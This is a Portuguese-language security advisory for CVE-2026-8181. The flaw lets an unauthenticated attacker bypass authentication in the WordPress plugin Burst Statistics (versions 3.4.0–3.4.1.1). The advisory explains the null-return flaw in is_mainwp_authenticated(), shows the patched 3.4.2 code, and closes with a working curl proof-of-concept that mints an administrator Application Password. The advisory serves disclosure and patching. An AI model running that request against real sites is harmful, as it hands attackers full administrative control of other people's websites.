
O plugin Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) para WordPress é vulnerável a bypass de autenticação.
Resumo da Vulnerabilidade
O plugin WordPress Burst Statistics nas versões 3.4.0 a 3.4.1.1 é vulnerável a uma falha de bypass de autenticação não autenticado que leva à assunção total da conta de administrador. Essa falha crítica permite que um atacante não autenticado que conheça qualquer nome de usuário de administrador gere uma Application Password válida do WordPress para essa conta em uma única requisição HTTP, obtendo acesso persistente de nível administrativo a todo o site.
A vulnerabilidade decorre da função is_mainwp_authenticated() em class-mainwp-proxy.php. Essa função chama wp_authenticate_application_password() e apenas verifica se o resultado é um WP_Error. Ela não verifica se o resultado é, de fato, um objeto WP_User bem-sucedido. Quando o filtro interno do WordPress application_password_is_api_request retorna false — o que ocorre quando a chamada é feita fora do fluxo normal de autenticação da REST API — a função do WordPress retorna null em vez de um WP_Error ou WP_User. Como null não é um WP_Error, a verificação passa e o usuário administrador escolhido pelo atacante é definido como usuário atual via wp_set_current_user().
Depois que o usuário atual é alterado para um administrador, as verificações de capacidade subsequentes passam. O atacante pode então acessar o endpoint REST /burst/v1/mainwp-auth, que cria uma Application Password do WordPress para a conta de administrador e a retorna na resposta. Isso dá ao atacante acesso persistente e completo de nível administrativo.
Plugin Afetado
| Campo | Valor |
|---|---|
| Nome do Plugin | Burst Statistics – Analytics WordPress Focado em Privacidade |
| Slug do Plugin | burst-statistics |
| Versões Afetadas | 3.4.0 – 3.4.1.1 |
| Versão Corrigida | 3.4.2 |
| ID do CVE | CVE-2026-8181 |
| Pontuação CVSS | 9.8 (Crítico) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo de Vulnerabilidade | Bypass de Autenticação (Autenticação Imprópria) |
| CWE | CWE-287 — Autenticação Imprópria |
| Impacto | Assunção Completa do Site — Assunção de Conta de Administrador |
O Que os Atacantes Podem Fazer
| Capacidade | Impacto |
|---|---|
| Gerar Application Password para qualquer administrador | Acesso Administrativo Persistente |
| Criar novas contas de administrador via REST API | Proliferação de Contas |
| Instalar plugins / temas | Execução Remota de Código |
| Editar posts, páginas e configurações | Desfiguração do Site |
| Exportar ou excluir todos os dados do site | Destruição / Exfiltração de Dados |
| Acessar WooCommerce / dados de clientes | Vazamento de Dados |
Análise Técnica
O Burst Statistics é inicializado durante o hook plugins_loaded do WordPress, na prioridade 9, dentro de class-burst.php:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() é o guardião de toda a funcionalidade administrativa. Ele verifica o cabeçalho X-BurstMainWP e chama a função vulnerável:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNERABLE: wp_authenticate_application_password() returns null
// outside the REST API authentication flow
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() Retorna nullA função interna do WordPress wp_authenticate_application_password() possui um filtro:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Not an API request, skip app password auth
}
Quando chamada fora do fluxo de autenticação da REST API, ela retorna null. O código do Burst Statistics apenas verificava is_wp_error($is_valid) — null não é um WP_Error, então a verificação passava incorretamente.
X-BurstMainWP: 1 com qualquer requisiçãohas_admin_access() aciona is_mainwp_authenticated()wp_authenticate_application_password() retorna null (fora do contexto da API)is_wp_error(null) = false → a verificação passawp_set_current_user($admin_id) é executado/burst/v1/mainwp-authhandle_auth_request() gera uma Application Password do WordPressbase64(username:app_password)// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
Correções aplicadas:
application_password_is_api_request para true para que a validação real da senha ocorraWP_User (não null)hash_equals() para verificar a correspondência do nome de usuárioAlém disso, o check_auth_permission() do endpoint REST foi endurecido para exigir current_user_can('manage_burst_statistics') e verificação explícita de nonce para requisições autenticadas por cookie.
Prova de Conceito
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev